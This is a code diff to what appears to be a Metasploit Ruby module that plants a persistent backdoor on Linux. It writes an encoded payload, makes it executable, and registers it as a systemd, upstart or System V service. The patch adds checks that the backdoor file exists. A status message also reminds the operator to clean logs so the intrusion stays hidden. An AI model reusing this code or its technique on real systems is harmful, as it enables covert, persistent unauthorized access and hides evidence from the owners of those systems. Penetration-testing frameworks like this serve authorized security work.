@@ -81,6 +81,9 @@ def initialize(info = {})
81
81
82
82
def exploit
83
83
backdoor = write_shell ( datastore [ 'SHELLPATH' ] )
84
+ if backdoor . nil?
85
+ return
86
+ end
84
87
path = backdoor . split ( '/' ) [ 0 ...-1 ] . join ( '/' )
85
88
file = backdoor . split ( '/' ) [ -1 ]
86
89
case target . name
@@ -120,8 +123,13 @@ def write_shell(path)
120
123
backdoor = "#{ path } /#{ file_name } "
121
124
vprint_status ( "Writing backdoor to #{ backdoor } " )
122
125
write_file ( backdoor , payload . encoded )
123
- cmd_exec ( "chmod 711 #{ backdoor } " )
124
- backdoor
126
+ if file_exist? ( backdoor )
127
+ cmd_exec ( "chmod 711 #{ backdoor } " )
128
+ backdoor
129
+ else
130
+ print_error ( 'File not written, check permissions.' )
131
+ return
132
+ end
125
133
end
126
134
127
135
def systemd ( backdoor_path , backdoor_file )
@@ -141,6 +149,10 @@ def systemd(backdoor_path, backdoor_file)
141
149
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
142
150
vprint_status ( "Writing service: /lib/systemd/system/#{ service_filename } .service" )
143
151
write_file ( "/lib/systemd/system/#{ service_filename } .service" , script )
152
+ if !file_exist? ( backdoor )
153
+ print_error ( 'File not written, check permissions.' )
154
+ return
155
+ end
144
156
vprint_status ( 'Enabling service' )
145
157
cmd_exec ( "systemctl enable #{ service_filename } .service" )
146
158
vprint_status ( 'Starting service' )
@@ -164,6 +176,10 @@ def upstart(backdoor_path, backdoor_file, runlevel)
164
176
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
165
177
vprint_status ( "Writing service: /etc/init/#{ service_filename } .conf" )
166
178
write_file ( "/etc/init/#{ service_filename } .conf" , script )
179
+ if !file_exist? ( backdoor )
180
+ print_error ( 'File not written, check permissions.' )
181
+ return
182
+ end
167
183
vprint_status ( 'Starting service' )
168
184
cmd_exec ( "initctl start #{ service_filename } " )
169
185
vprint_status ( "Dont forget to clean logs: /var/log/upstart/#{ service_filename } .log" )
@@ -269,6 +285,10 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
269
285
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
270
286
vprint_status ( "Writing service: /etc/init.d/#{ service_filename } " )
271
287
write_file ( "/etc/init.d/#{ service_filename } " , script )
288
+ if !file_exist? ( backdoor )
289
+ print_error ( 'File not written, check permissions.' )
290
+ return
291
+ end
272
292
cmd_exec ( "chmod 755 /etc/init.d/#{ service_filename } " )
273
293
vprint_status ( 'Enabling & starting our service' )
274
294
if has_updatercd
0 commit comments